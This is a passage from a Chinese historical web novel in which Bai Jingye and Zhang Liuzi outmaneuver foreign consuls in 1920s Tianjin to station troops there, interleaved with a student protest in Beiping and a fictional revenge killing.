“就算漕帮势大,他也得老老实实的听话,整个津门的码头从此以后就是咱们说的算!”
“这想法好是好”,张六子显得有些为难,“可九国公约也不是岛国一家说的算,还有其他国家怎么办?”
白敬业神秘一笑,“这样,晚上邀请英、美、法几国的领事吃饭,咱们这么办…”
张六子越听越觉得可行,拍手叫好,“好,就这么办!”
“额,还有件事,你得帮我参谋参谋”
“啥事?”
张六子看了宫二一眼,“那个妹子,我有点事想跟修合单独谈谈。”
宫二颔首一笑,放下碗转身跟徐承业一起走了出去。
屋里只剩下白敬业他们两人。
白敬业不明所以见他吞吞吐吐的,疑惑道,“什么大事还得单独谈?”
“咳”
张六子清了清嗓子,满脸的笑意,“我觉得你兼祧的事弄得不错,你帮我想想,我要给瑞玉带到家里按着这个方法能行么?”
“就这事?!”
白敬业好悬没气笑了,心道,“这他妈嫂子的汤是不好喝。”
这个张六子这辈子最爱好的就是娘们。
不管到啥时候,也不管事情轻重缓急,娘们的事不能放下。
也不怪马君武写下了赵**流朱五狂这首诗。
虽然里边连累了两个无辜的女性,朱五和胡蝶。
这里边还有个小故事,朱五姑娘后来在香港吃饭时遇见了马君武。
说感谢马先生让她成为了名人,并且问他怎么想的给自己编了进去。
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马君武闹了个脸红脖子粗,饭都没吃就跑了。
至于胡蝶,这俩人根本就没见过。
白敬业没好气的骂了一句,“我说**有没有点正溜!这特么正跟龟子博弈呢,你特么问我兼祧?!”
“我这不也被瑞玉逼的没办法了么。”
张六子一脸的尴尬,“咱们可是兄弟,我知道你有办法。”
“我没办法!”
白敬业把眼睛一瞪,“你也不想想这俩事能一样么?”
“凤至嫂子那是什么家庭?于家是北方巨富,家里买卖比我们家还大呢。”
“你整个戏子回去说要兼祧,你不等于给了于文斗老爷子一个嘴巴么?你想想你爹能同意?”
张六子嘟囔着,“瑞玉的出身是有点…”
“你呀!甭瞎合计了,这事根本没可能,你整这出儿,跟我们家那魔怔姑奶奶有什么区别?”
张六子想想也确实是,但还是不死心的问道,“真没主意啊?”
“哼”,白敬业冷哼一声,“我要给你出了,回头凤至嫂子那还不恨上我了?”
“我劝你该干嘛干嘛!最好的方法就是别往家里领,留在津门当个外宅就挺好。”
“没必要非得弄的家里鸡飞狗跳,她要是再跟你闹,你就这么说,咱们都是进步青年,没必要遵循老一套……”
“糊弄个娘们还不好糊弄么?”
“唉”
张六子叹了口气,“那就只能这么办了。”
夜晚
少帅府摆下盛宴,英、美、法等几国领事应邀到来。
一见面英国领事威廉就抱怨道,“哦,张司令,津门怎么突然乱糟糟的,就跟我小时候邻居家苏珊奶奶的院子一样。”
张六子显然没听懂这个老英伦正米旗的比喻,淡淡一笑。
“今天邀请各位前来,正是为了津门的稳定。”
“我给诸位介绍一下,这位是我的外事联络官白敬业先生,专职负责京榆司令部外交事宜。”
白敬业抱歉的一笑,指了指自己的右手,“抱歉各位我手上有伤,不能和大家握手了。”
威廉笑着点了点头,“我听说过您的名字,是一位知名学者。”
他惋惜的说了一句,“都怪那些该死的岛国人。”
第113章 进驻津门(2)
双方客套了一阵。
张六子说出了正题。
“今日,岛国方面已经向我父求援,想要让我的卫队营进入津门稳定局面。”
这几位领事一听脸色就变了,都叫嚷着。
“No!不!不能这么做。”
威廉领事语气极其不悦,“你们不能那这样做!”
“根据公约规定,华夏的军队不能在距离租界20公里以内驻军。”
“也就是说你们不能进入到津门城内。”
其他的领事也都跟着叫嚷着,“张,绝对不能那样做!”
“不然的话我们会向你们的政府提出**。”
“呵呵”
白敬业呵呵一笑,面色淡然,伸手道,“各位尊敬的领事,请稍安勿躁咱们先入席吧。”
白敬业安抚着众人入座,举起一杯红酒。
“各位领事们所担心的事我们司令都清楚,所以司令已经回了大帅,手下的军队不会进入到津门。”
众人一听喜笑颜开,都纷纷举起酒杯。
“张!你果然是文明的代表!”
张六子心中冷笑,拿着酒杯跟他们干了一杯。
等喝完之后,他才略显惆怅的说道,“不过我的军队不进入,恐怕津门的乱象短时间不会停止。”
“一旦这些民众群情激奋,估计会做出什么不理智的事。”
威廉双手一摊,脸上带着嘲笑,典型英国老混蛋似的做派。
“张!那不关我们的事,是那些岛国人自作自受!”
“我们也了解事情的经过,谁让他们太过贪心呢?”
他切开一块牛排,意味深长的笑了笑,“张,你别忘了九国公约也是在保护你们,岛国人遇到麻烦对你们是好事。”
这里就要提一下九国公约,九国公约是没有岛国的!
一战过后世界格局改变,英法美占了上风,层层封锁限制了汉斯猫。
但同样波及了亚太地区。
岛国由于野心膨胀继承了原先汉斯在华夏的权益,渐渐想把手伸向整个华北。
身为世界霸主的牛牛和火鸡一看这不行啊。
我们是老大在前边打生打死的,**在后边捡便宜!
姥姥!
我老伦敦米字旗的老爷们能坐视不管么?
于是召集其他几个国家包括华夏,签署了九国公约。
名义上是恢复华夏的**,实际上是限制岛国,平分之前汉斯的权益。
如今岛国领事出了事,这帮子领事当然不想管。
在他们心里,把吉田茂这孙子弄死才好呢!
这样他们就有理由掺和进来。
张六子点了点头,“威廉领事说的对啊,岛国人遇到麻烦对我们来说确实是好事。”
“不过,我接到了一份密报,如果我的军队不进入,岛国人可能会派军队进驻津门!”
“咳咳咳……”
“张!你确定么!”
“该死!”
威廉被张六子的话语呛到,也顾不得形象,嘴里的残渣喷的哪都是。
其他领事的脸色也都变了,变得极为难看。
“不!”
威廉咆哮道,“这不可能!该死的岛国人怎么可能会派军队进入津门!”
“呵”
白敬业看着众人冷笑一声,“尊敬的各位领事,你们是不是忘了辛丑条约?”
“这正是你们和岛国人同前清的李大臣签下的!”
“岛国人有权利在华夏重要的领土内驻军,其中就包括了津门,你们不会忘了吧?”
威廉仔细的回想一下,好像确实有这么回事。
妈的,该死的清朝签的条约摞起来都快有一屋子多。
他都快忘了里边有哪条了。
事实上,七七过后岛国侵占我华夏,入侵津门堵的各国哑口无言的一条。
就是源自于辛丑条约!
白敬业耸了耸肩,“有什么不可能的?”
“假如吉田领事真的人身安全受到了什么危险,你们觉得岛国会不会以此为借口?”
“咱们再假设一点,他们会不会自导自演一出戏,让吉田出现什么意外,以此换来入驻津门呢?”
白敬业说着将眼神递给张六子。
张六子心领神会,端起一杯红酒看向众人,“各位,以下的话是我身为各位的朋友,给你们的忠告,出了这道门,我张六子绝对不会承认!”
“各位都代表着身后各国的利益,我张六子也代表着东北军。”
“可一旦我在这件事帮不了各位,岛国提出来的要求我和我父亲也不能不答应!”
“假设!岛国人向我们提供大量
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的军事援助,用来换取进入津门,我想我的父亲会很高兴。”
威廉的脸色彻底变了,“张!你是在背叛你的国家!”
“威廉先生,我想你错了,目前执政的并非奉系,所以谈不到背叛。”
“津门一直以来是开放的,你们也没理由不让岛国驻军。”
张六子注视着威廉,平静的说道,“当然,你们根据条约也可以入驻津门。”
“但是各位在东南亚分散了那么多的精力,恐怕调也只能调来一两千的陆战队。”
“你们拿什么阻止岛国人对津门的觊觎?”
说完张六子环视了一圈在座的众人。
这一桌上,真正有话语权的说白了只有牛牛和火鸡。
尤其牛牛,他们对华夏的几个港口投资巨大。
要是真让岛国人进来了,还提他妈什么九国公约?
“叮!”
张六子拿着酒杯碰了一下威廉的酒杯,“威廉先生,希望到时候那些岛国人和我一样的好说话。”
“我听说岛国内部经济正在下行,他们可太希望有一个好地方,用来缓解他们内部的压力。”
“你想想,他们如果派来一个旅团进入津门,等事件结束他们还会撤出去么?”
威廉被张六子说的哑口无言。
他的内心像一团乱麻。
张六子说的对么?
太对了
ZZ之下只有利益,哪有朋友?
换位思考,如果需要奉献威廉的一条命能全盘掌握津门。
恐怕英国的首相会毫不犹豫的给他送上绞刑架。
正在众人都心烦意乱的时候,徐承业小跑着进来了,神色还非常焦急。
“报告张司令!岛国领事馆出事了!”
张六子一皱眉头,“出什么事了?”
徐承业支支吾吾,看了一圈桌上的人。
“直接说!”
“是!岛国领事馆传来巨响,可能有群众向里边扔了**。”
“还有,现场维护秩序的**打**两名,受伤的不知道有多少。”
“沃特发!”
威廉站起身,头上的青筋暴跳,“张!你身为津门的掌权者,这样的事情你不管么!”
“我拿什么管呢?根据公约!”
“我的部队不允许进入津门!”
第114章 怎么又他妈**了!
“哦,该死!张,请你别再提那些公约,我们现在要想办法怎么解决问题!”
威廉捂着额头,一脸的惆怅。
他不明白,明明是限制别国的公约。
怎么到现在搞成了麻烦。
张六子内心狂喜,心想,修合真的是大才!
他还从没见过谁能在外交方面搞得如此游刃有余。
“咳”
张六子清了清嗓子,“威廉先生,还有各位领事们,其实我们应该算是同一条战线的朋友。”
“岛国对东北觊觎不是一天两天了,所以遏制岛国应该是我们共同的目标。”
威廉深以为然的点了点头,“张,说说你的想法吧。”
“我们东北军的空军部队要扩建,我看贵国还有美、法两国的机型都很不错。”
“可以采购一些嘛,同时再购买一些其他先进的武器。”
威廉和其他国家领事的眼神一亮。
明白张六子透露出来的信号。
如果东北军能倒向他们欧美这些国家,那他们在华夏的话语权可想而知。
老威廉在华夏从民国元年就开始担任领事。
一直没有向前再进一步。
这人啊,都有欲望,谁他妈也不是圣人!
他甚至已经给自己在脑海里勾勒出画面。
如果促成牛牛和东北军紧密捆绑,他退休那一天必然会光荣回国。
弄不好还能在胸前弄一个勋章,成功晋身成贵族的序列。
“张!说说你的条件吧。”
张六子点了点头,“我的条件很简单,让我的人进驻津门,而且是长期进驻!”
“不过我可以保证人数不会太多,而且不会携带重武器。”
“你们可以将他们理解成维和性质的部队!”
“嘶~”
威廉皱着眉头吸了口冷气,沉默不语。
经过刚才的谈话,他现在对于派兵入驻这几个字反应也没有刚才强烈了。
而是在思考放奉军进城的后果。
“张,能不能换个条件。”
“哈哈哈”
张六子哈哈一笑,拿起分酒器给威廉倒了一杯。
“威廉先生先听我说,入驻津门并不是为了我自己,而是为了帮助你们。”
“说白了,是在用我的兵帮助你们去做事。”
“沃特?”
在场的众人都一脸茫然,不明白他说话的意思。
“各位领事,我可以向你们保证!如果我进不来,那么岛国人一定会派兵入驻的!”
张六子脸上带着淡淡的笑容,“你们不同意,那就说明文明的西方不愿意接纳我们。”
“那我们除了接受岛国的援助,恐怕没有第二条路可走。”
“而且岛国入驻,他们起码在几年内会和东北军非常亲密。”
“到时候我们作为协助,一样会派兵进来,可在座的各位,你们的利益又由谁来保证呢?”
威廉沉吟了半晌,才说道,“张,这件事我需要向本土方面汇报。”
“当然!我希望威廉先生在汇报时,表明我的态度。”
“我十分希望同各国展开深度合作,重点在于民生与工业方面。”
威廉一听面色露出喜色。
他的心里有了几分谱。
这位张司令看来说的可能是真的。
因为其他军阀在乎的都是武器和打生打死。
他却明白发展这条路。
战争只是ZZ手段的一种延伸。
如果双方真的能深度合作,那利益可比打仗要多多了。
赚钱嘛,不寒碜!
张六子挥了挥手。
徐承业招呼门外的侍从,每人端了一个小盒子放在各个领事的面前。
威廉打开一看,眼睛里都闪着金光。
盒子里装的是十二根小黄鱼。
但是做工非常精致,四四方方的,上边还雕刻着十二生肖的图案。
“这上边雕刻的是我国的十二生肖,一个小纪念品还希望各位喜欢。”
“哈哈哈哈,张,你的纪念品我非常喜欢!”
老威廉乐的后槽牙都快露出来了。
跟张六子来了一个大大的拥抱。
金子!
那一盒金紫!
谁他妈能不喜欢。
等到宴席散场,各国的领事红光满面出了少帅府。
餐桌前,只剩白敬业和张六子二人。
“唉!”
白敬业叹了口气,抓起桌上的分酒器,将里边的红酒一饮而尽。
张六子有些不明所以,问道,“怎么了?难道这件事不能成功?”
白敬业摇了摇头,笑的有些苦涩,“驻军的事90%会成功。”
“那你愁什么?”
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>“我是感到有些悲哀。”
白敬业死死盯着张六子,“我们自己国家的军队,在自己本土驻军!”
“还**第一件事要征得这些外国鸡的同意!”
“这他妈不可悲么!”
张六子理了理头发,感叹道,“是他妈挺可悲的!”
“老子迟早要把这帮外国人都他妈撵出去!”
“干!”
深夜
兴荣武馆的馆主正在熟睡。
他就是当初骂北平警厅狗拿耗子的那位馆主。
突然门声一响。
他从睡梦中惊醒过来,“谁!”
房门一开,他看到门口站立着一道身影,好像是自己的儿子。
“扑通!”
他的儿子往前一栽,倒在了地上。
显然已经死去多时。
“啊!!”
他的老婆嗷了一声,下了床扑倒儿子的尸体前。
兴荣馆主撕心裂肺的大喊道,“谁!出来!谁干的!”
“喊什么?”
话音一落,门口转出一道黑影。
兴荣馆主吓得冷汗直流,这张鬼脸他记不得有多少年没见到了。
“你…你…丁连山!”
“呵呵!”
丁连山冷笑了一声,“没想到你还记得我,几年不见,你还跟岛国人做上生意了。”
“这人啊,不能只有眼前路,没有身后身。”
“该上路了!”
丁连山说完脚下一用力,窜到他的面前。
抬手就是形意拳里的杀招。
半步崩拳!
兴荣馆主的胸骨都被打塌了下去。
“噗!”
一口鲜血喷出,死尸仰面栽倒。
“啊!!!”
他的老婆见到此景,承受不住晕了过去。
丁连山将手捏向她的脖子,三根手指微微用力,将她的喉骨捏碎。
整套动作行云流水,比宰只鸡都轻松。
随后迈步出了房间。
房间外十几个黑衣人在等候。
“还有活口么?”
站在最前面的黑衣人摇了摇头。
“走吧,下一家!”
……
第二天,一大早
老段还处在睡梦中就被秘书喊醒。
“总长,出事了,学生又开始**了”
老段瞬间就清醒了,大喊道,“怎么又他妈游上行了!”
第115章 闹剧!
老段顶着黑眼圈大喊大叫。
整个人显得异常崩溃。
昨天他因为津门的事一夜未眠,刚休息了不到两个小时就被秘书吵醒。
秘书拿起报纸递给了老段,“总长您还是先看看报纸吧。”
“啪!”
老段一把将报纸打落。
“我他妈还不知道是因为白修合被枪击么!”
“**搞我心态是不是!”
秘书心头一凉,心想,“完喽!总长得精神病喽,说话前言不搭后语的。”
老段端起隔夜茶,‘咕嘟嘟’灌了下去。
两眼里全是血丝,语气不善的问道,“他们到哪**了?有什么诉求?”
“在天岸门那里**,说让您为津门的事向岛国人讨个公道。”
“哈哈哈”
老段像个疯子似的大笑,指着秘书,“你去找白景泗,让他出人维护秩序!”
“他们不是愿意坐么!让他们坐!”
“就说我已经知道了正在交涉!”
“是!总长!”
秘书皱了皱眉头,又继续问道,“总长,要是岛国那边来人怎么办?”
“热情!礼貌!一问三不知,**不会么?”
“就说我正在了解津门的情况,让他们等着去!”
秘书走了以后,老段一翻身躺床上接着睡。
他也想好了,爱他妈咋游咋游,老子还他妈不管了!
这帮老油条都是当年老袁手底下一个锅抡马勺的兄弟。
他一眼就看出来这里边和奉系脱不开关系。
啥时候张小个子摆拢明白了,老段准备什么时候再管。
没到一分钟,老段就重新进入了梦乡。
他这边睡得香甜。
咱们把视线拉到许久未出现的大宅门。
白景琦一大早就看到了报纸。
差点没吓得一屁股坐地上。
要说这帮报社为了博眼球也真是没底线。
明晃晃的标题写着,爱国学者白敬业遭到枪击。
而且内容还写得云里雾里的。
说什么白修合用胸膛迎接帝国主义冰冷的**。
目前生死未卜。
白景琦都快吓抽抽了,愣是没敢让妻子黄春看到报纸。
他把张增致叫了过来,六神无主的说道,“你…你马上!把全家的报纸都收起来!”
“尤其是老太太那边!谁也不许提报纸的事!”
“是,七老爷!”
这事也怪白景泗,他临到半夜才回的北平。
知道今天要闹**直接就回了警厅,忘了给家里来个信。
白景琦刚做好了安排,大老爷和二老爷就匆忙赶了过来,两人的手里还拿着报纸。
“老七,敬业这是怎么了?是真的么?”,大老爷的脸上充满了焦急和担忧。
白景怡这个大老爷当的是真称职。
对家里的老家儿是说什么听什么。
对下边的小辈儿也是多加关照。
性格上是随了他爸爸白颖园。
白景琦此时都麻爪了,脸色发白,“我我我也不知道。”
白景双皱着眉头道,“老四不是跟着敬业去了津门么,他回来没有啊?”
“不知道啊,先安排人去警厅问问。”
白景怡正准备安排人去警厅,门口那就传来了消息。
“七老爷!小胡回来了!”
“快让他进来!”
小胡一溜小跑进了房间。
“小胡怎么回事?”
小胡呼哧带喘的摇摇头,“七老爷别着急,大少爷没事,枪没打到他。”
“大少爷怕家里担心,特意让我跑回来通知大伙儿一声。”
众人这才长出了一口气。
白景琦拿起手巾板擦了擦额头的冷汗,笑道,“吓得我这一脑门子汗。”
“我说他在津门不搁宫府好好待着,瞎鼓捣什么呢,怎么还弄出枪击了?”
小胡整理了一下语言,大概讲了一下,白敬业目前在帮着少帅做事。
目的是帮着少帅掌控津门,让家里放心,但别往外说。
“哦~”
白景琦这才听明白,他一指外边,“这外边**也是因为这事?”
小胡点了点头。
“嘿嘿!”
白景琦嘿嘿一笑,“这小子特么随我!就得好好治治这帮小龟子!”
“他什么意思?让咱们药行也跟着掺和掺和?”
“千万别!”
小胡一摆手,“大少爷让我回来也是告诉您各位一声,药行千万不
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能乱,该营业营业。”
“这事跟北平关系不大,别弄得大家下不来台……”
白敬业主要怕家里一跟着掺和,在老段那没法收场。
这事本身的主战场就不在北平。
而且后期还需要老段的助力。
目前老段跟他们属于一条线上的,一旦给老段弄得下不来台,后边的事反倒不好运作。
学生**是学生的事。
他们没事就爱弄点事**,所以也没人管他们。
可是再像上次弄得全体****,这事就崴泥了。
白景琦一听大概也明白了,可这位爷哪是闲的住的主。
“哼!**长精神!”
白景琦咬了咬牙,“就得好好收拾收拾这帮小龟子。”
“这样!学生不是**么?”
“安排人到各个饭庄,让他们蒸包子蒸馒头,有多少人**咱们管多少人的饭!”
“饿了送饭、渴了送水,我就图个他妈舒坦!”
就这样北平形成了一幅极为和谐(诡异)的画面。
执政总长老段在家里呼呼大睡。
其他政府官员该上班上班,该休假休假。
岛国驻北平的大使,求爷爷告奶奶的找这些官员疏通。
可就是没人搭理他们。
天岸门外
各个学校的学生和老师往那一坐也不**。
后边硕大横幅支了起来。
【请求政府严惩津门领事吉田茂!】
北平警厅的黑皮们呢,围绕着学生们也都坐了下来,手里连警棍都没带。
有的还跟学生们聊几句。
白景泗弄了把椅子在最前边一坐,抽着烟斗晒着太阳十分的惬意。
到了中午,老段的秘书终于抽开身来到**的地点。
他本是好意,不忍心看这些学生在这里**。
可一看现场的样子差点没他妈气笑了。
这是**、**?
这不他妈联欢会么!
黑皮跟学生们有说有笑的。
还有人给发包子、倒大碗茶。
一个伙计打扮的年轻人,拿着两个包子走了过来。
“这位爷您也来**的?来吃两个包子。”
秘书没好气的摆摆手,“滚滚滚!”
第116章 通电全国
梁秘书径直的走到白景泗面前,看他悠闲的样子气不打一处来。
他气冲冲道,“白厅长,您就是这么制止**的?”
白景泗干了手里的大碗茶,擦擦嘴,“梁长官,那我应该怎么制止?用警棍还是**?”
“这些学生也没犯什么错啊,不能因为人家有正常诉求,咱们就喊打喊杀的吧。”
“你...哼!”
梁秘书冷哼一声,一甩手又走到各校领导那边。
他勉强挤出一张笑脸,“仲揆先生,您发起的联名信,总长已经收到了,您看是不是先让学生们回去。”
“总长那里正在交涉,我想很快就有答复了。”
仲揆先生咬了一口馒头,面无表情的说道,“既然快有答复了,我们就再等一等,也不差这一会儿。”
豫才也跟着阴阳怪气的,“对啊,我们还是在这等,万一我们分开了,有人朝我们打黑枪,连个收尸的人都没有。”
周豫才的话噎得梁秘书一点脾气没有。
他讪讪的笑了笑,“先生您这是说哪去了,那我就不打扰您各位休息了,总长那一有消息,我就来通知各位。”
豫才听说他要走,把手里的包子递了出来。
“吃了么?泰丰楼的大馅包子,味儿不错,带两个尝尝?”
“不用了,您各位慢用。”
梁秘书扶了扶眼镜,逃也似的上了车,直奔执政府扬长而去。
吃包子?
他现在的心情,你就是给他喝云南白药,也弥补不了他心灵上的创伤!
等他见到正在吃午饭的老段,满脸的苦涩。
“总长,这些学生都不肯走,非要您给个说法。”
老段睡了一个回笼觉,精神抖擞。
正慢条斯理的喝着汤,丝毫没拿这个当回事。
他挥挥手,招呼道,“还没吃吧?坐下吃一点。”
秘书不明所以,但是见老段一副云淡风轻的样子,也就不着急了。
“外边除了学生在**,其他方向有没有异动?”
梁秘书思索了一下,摇摇头,“那倒没有,各行各业都安稳得很,连那些流氓都不出来**了。”
“出了各个饭庄在忙着给学生们蒸包子。”
“哈哈哈”
老段大笑了几声,给梁秘书笑懵了。
“你一会儿吃完饭,向外界发出声明,通电全国!执政府一定会严厉处理此事。”
“再向岛国大使馆的人提出**,态度一定要强硬,让他们交出扰乱津门司法的凶手,和那个**!”
这帮从前清混到现在的大军阀。
哪个也不白给。
老段一眼就看出来,这是个提升执政府名声的好机会。
反正顶在前头的是张老疙瘩,他准备在一旁敲边鼓跟着混。
然而,老段的声明一发出。
躲在津门领事馆的吉田茂可就瑟瑟发抖了。
昨晚也不知道哪个上头的百姓,往领事馆院里扔了两个二踢脚,吓得他半宿没睡着觉。
他平均半个小时就给满铁那边发一封电报。
得到消息始终是在沟通。
以至于后来干脆就不回他的电报。
要不是领事馆内有武官带着十几名卫兵严防死守,他这领事馆早就让人给拆了。
整个日租界现在是风声鹤唳,乱成了一锅粥。
这些做不法生意的店铺,几乎都遭了殃,被人连抢带砸,也不管你是不是岛国人开的。
警察干脆就不管。
他也得敢管啊。
常怀英安排了不到三十个黑皮,昨晚就**俩。
三、四两个队的队长,现在都不敢露面,躲在一家烟馆里。
只让手下这帮兄弟,在领事馆前面挡着。
他俩正端着烟枪唉声叹气,相互诉苦的时候。
外边闯进了一个黑皮,“队长,队长!”
三队长吓得一激灵,“你吵吵嘛啊!又尼玛出嘛事了!”
“队长,潘市长和常厅长来了,找不见你们俩正发火呢。”
俩人对视一眼,急忙趿拉上鞋,往领事馆跑去。
等潘雄起见到两人衣衫不整的样子,皱起了眉头。
“常厅长,执行公务期间,他们两个私自跑去烟馆抽**应该怎么处理?”
“昨天刚刚进行的销烟仪式,身为警厅的队长带头违反。”
“这不是丢警务系统的脸么!津门是全国警务系统的发源地,这样的害群之马怎么能留?”
常怀英向潘雄起敬了个礼,“是!请潘市长放
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心,我一定严整津门的警务。”
“哼!”
潘雄起冷哼一声,迈步向着人群方向走去。
常怀英看着两人,脸上露出了狞笑,“绑了!**,立即执行!”
“是!”
身后的黑皮不容分说,给二人绑起来塞到了车里。
潘雄起挤进人群站到高处,拿起喇叭高声道。
“各位老少爷们!安静一下,我是津门市长潘雄起!”
众人一听市长来了,都安静了下来。
“各位听我一句,这件事我们津门政府一定会追究到底,保证一定将涉案人员缉拿归案!”
人群里有人叫喊了一句,“凶手是岛国人,你们政府敢去抓岛国人么!”
“对,我们不相信!”
“让吉田茂滚出来!”
潘雄起再次挥了挥手,“各位先听我说!”
“咱们的执政府已经发出通电,保证这件事一定向岛国方面深究!”
“另外,请大伙相信我一次,我才上任不到三个月,这次的事我要是给不了大伙交代。”
“你们就到市府门前堵着我,把我给撵出津门!你们大伙看行么!”
众人见潘雄起的态度诚恳,而且说话也没什么架子,渐渐情绪稳定了下来。
“所以请大家先回家等待,不要在领事馆门前围着了。”
“不成!”
台下一个领头的叫喊了一声,“潘市长,咱们爷们儿相信你,可是吉田茂这老小子要是跑了怎么办!”
“对!他要是跑了怎么办!”
潘雄起见群情再一次激愤,也不好勉强。
“好好,那这样,咱们可以在领事馆前看着,但是咱们不能再**,不能往里扔二踢脚!”
“都是喝海河水长大的爷们!能不能答应潘某的请求。”
“哈哈哈”
群众见他很接地气,都笑了起来。
“答应,支持潘市长!”
“支持潘市长!”
潘雄起在一声声支持中,走出了人群。
安排常怀英,将原先的黑皮们都给换了。
这次换成的都是张六子卫队里的人。
随后他坐上自己的轿车直奔少帅府。
而他的车上还有一位妙龄少女正望着车外发呆。
第117章 驻津门维和团
潘雄起坐在车里看着愣神的妹妹,不禁有些好笑。
他笑着打趣道,“秀珠,你不是很讨厌修合么?”
“我这是准备去见他,你还跟着干嘛?”
潘秀珠的脸红了起来,瞥了潘雄起一眼。
“要你管!谁说我是去看他的!他死活和我有什么关系?我是去看瑞玉的,我要听她跟我讲戏。”
“可我记得你从来不听戏啊?”
“我乐意!我今天开始听行不行!”
潘雄起无奈的摇摇头,“哥哥提醒你一句,白修合家里有一房正妻,而且还兼挑了宫家的独女,你还是…”
“你烦不烦!他有没有老婆和我有什么关系!”
潘秀珠的大小姐脾气一发,在车里大喊大叫。
“好好好,我不说了”
潘雄起对这个妹妹极为溺爱,和七老爷有得一拼。
潘秀珠气得撅起了嘴,脑海里全都是白敬业演讲的画面。
海河边上她也跟着朋友凑热闹去看了。
她虽然不懂啥是帝国主义,也不明白**了两个嫌疑犯有什么样的影响。
但白敬业中枪后依旧慷慨激昂的样子却深深印在脑海里。
一对比之前喜欢过的靳燕西。
咦~
简直不像个男人。
晚上睡觉一闭眼睛就是白敬业,一闭眼睛就是他。
就好像他在闪着光,库库歘歘她。
然而潘秀珠进了少帅府,就像被一头冷水从头浇到尾。
白敬业和宫二正跟张六子夫妇,还有李景林几人闲聊。
远远一看,他和宫二两人甚是亲密。
“哎呦,来了老潘,初次在市民面前亮相的滋味怎么样?”,张六子打趣道。
潘雄起摆了摆手,“一言难尽啊,我都差点被津门老少的唾沫星子给淹死。”
“哈哈哈”
众人看他滑稽的样子一阵大笑。
白敬业当然看见了潘秀珠,但硬装没看见。
尽管心里在打鼓,面上必须装圆溜了!
张六子一扫潘秀珠,笑道,“秀珠妹子也来了?”
他这个人喜欢的是那种小鸟依人型。
例如谷瑞玉和四小姐那种。
对潘秀珠这样大小姐脾气的很是不来电。
尤其上一次在潘家有些不愉快,他隐约间对潘秀珠还有些厌烦。
毕竟民国第一公子,谁在他面前装逼当然看不过眼。
“我妹妹最近迷上了戏曲,想跟谷小姐探讨探讨,这不听说我要来就跟着来了。”
张六子笑呵呵的扭过头,“瑞玉啊,秀珠妹子奔你来的,你要好好照顾她,去吧,我们要谈点事。”
谷瑞玉温婉一笑。
紧跟着宫二也起身,临走时拍拍白敬业的肩膀嘱咐道,“伤还没好,少抽些烟。”
随后跟着谷瑞玉和潘秀珠一起走出了客厅。
但她有些不理解,这个潘姑娘为什么总是瞪着自己。
等人走了以后,张六子挠了挠头,“这老段还真不白给,反应的真快。”
“他一通电,我估计这两天全国的军阀都得跟着发声明。”
“这样一来咱们还真有些被动。”
李景林跟潘雄起都跟着点头。
奉系让老段弄得有些尴尬。
现在要是跟着发声明,显得落后了一步。
弄不好事情解决以后,名声全落在老段那。
奉系还得背上一个跟岛国人暗通款曲的名声。
白敬业轻笑道,“他们发声明就让他们发,咱们不发!”
“不发?”
张六子皱着眉头疑惑道,“不发的话,全国不都得以为奉系投靠了岛国人?”
“咱们不仅不发,还得让大帅那边撺弄岛国人派兵进津门!”
白敬业的话让张六子和李剑仙都懵逼。
唯独潘雄起若有所思的思考着。
潘雄起曾经当过内阁总长,他是这里边唯一能跟得上白敬业节奏的人。
“你的意思是咱们不发只做?”
“哈哈哈”
白敬业哈哈大笑,“知我者雄起大哥!”
张六子这时也明白过点味来,向外喊了一声,“徐承业。”
“司令!”
“你去给我把津门沿线的地图拿过来!”
李剑仙摸着脑袋疑惑道,“拿地图干什么?要打仗?”
白敬业对李剑仙这个智商甚是无语。
好像他这点脑子都用在练武和
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打仗上。
也怪不得他在郭鬼子反奉时跟着掺和进去,最后让冯倒戈撵进租界。
典型的武人,一丁点ZZ头脑都没有。
徐承业将地图摆在桌上。
白敬业指着铁路沿线,“龟子想出兵进津门,滦州是他们绕不过的一站。”
“你的三军团就在滦州,咱们给这段掐死,名义上就和景林兄的军团搞一场联合军演。”
“咱们让他们进不能进、退不能退。”
“到时候再向全国发起一则通电,老百姓眼睛也不瞎,谁在抵抗龟子、谁在说空话,一看便知。”
“**!”
张六子连连拍手,大叫着,“好!”
“就在龟子出兵的同时,我这边立刻通知其他国家公使,妈了巴子的,看到时候谁更急!”
白敬业也跟着点头,“咱们这边也要准备部队,随时开入津门,我看一个团差不多就够了。”
“再多恐怕牛牛的心会慌。”
“哈哈”
张六子哈哈一笑,“你觉得他们能让咱们常驻一个团么?”
白敬业摇了摇头,“够呛,我看最多一个营,不过咱们可以准备一个团,三个营进行轮换,就叫津门特别维和团!”
张六子沉吟片刻,“一个营也行了,这是底线。”
他说完一指白敬业,“这个团成立后就交给你,掌握这个团和这帮外国人打交道的事,交给别人我不放心。”
白敬业假惺惺的笑道,“我带,这不好吧,我也没有带兵经验。”
张六子没好气的捅了他一下,“你特么还跟我装?”
“哈哈哈”
白敬业梦寐以求的兵权,在张六子这儿就是一句话的事。
谁让人家的家底硬呢!
“既然给我,我还得跟你要个人。”
“谁啊?”
“你把朱传武给我想办法要过来,我觉得他不错,带一个团应该不成问题。”
“嘶”
张六子为难的挠了挠头,“朱传武可不太好要,他正经是条汉子,那是老郭的卫队营长,我看着都眼馋。”
“那这样,等事情结束我请郭军长吃饭,能要就要,不能要再换别人。”
第118章 出兵
“总司令,还是麻烦您尽快解决津门的乱象。”
菊池武夫三进大帅府,这次他的老脸红了起来。
真不好意思和张老疙瘩说出这句话。
但是没招儿啊,再不解决吉田茂就得被吓死。
“砰”
张老疙瘩拿出一摞电文,往桌上一扔。
指着这些电文语气不善的说道,“你看看,你看看这两天南北两地的这些军阀给我骂的!”
“你还让老子咋帮你,现在这些人都**快把我老张骂成**贼了!”
老段的全国通电一发出来
全国的军阀都跟着活络起来。
一时间,这些军阀们都变成了反帝国主义斗士。
西北的老冯说了,要是段总长允许,他的西北军可以随时开进津门。
绝不像奉系似的畏首畏尾。
东南的老孙也说了,坚决拥护段总长,希望奉系耗子尾汁,尽快拿出一个态度。
还有川府的二刘、已经下野的吴秀才、躲在津门当寓公的张勋,纷纷跟着响应。
中心思想只有一个,我们才是为国为民的,咱们心里边敞亮!
心里装的全是反帝国主义的大事!
但是顺带着还得踩一脚奉系。
谁让你奉系有着岛国人的援助,而且还没发声明。
一时间激起了全国的反岛国热潮。
民国时期通电跟特么嗑瓜子似的。
只要有人带头,其他的不管跟他们有没有关系,都跟着一起通电。
菊池低着头,脸上还有那么一丝的愧疚。
刨除国与国之间的关系,他跟张老疙瘩私交甚密。
但他哪知道,这是张家父子联手给他设下的套。
“对不起总司令,我知道这件事给您造成了困扰!”
“对不起?”,张老疙瘩叫嚷起来。
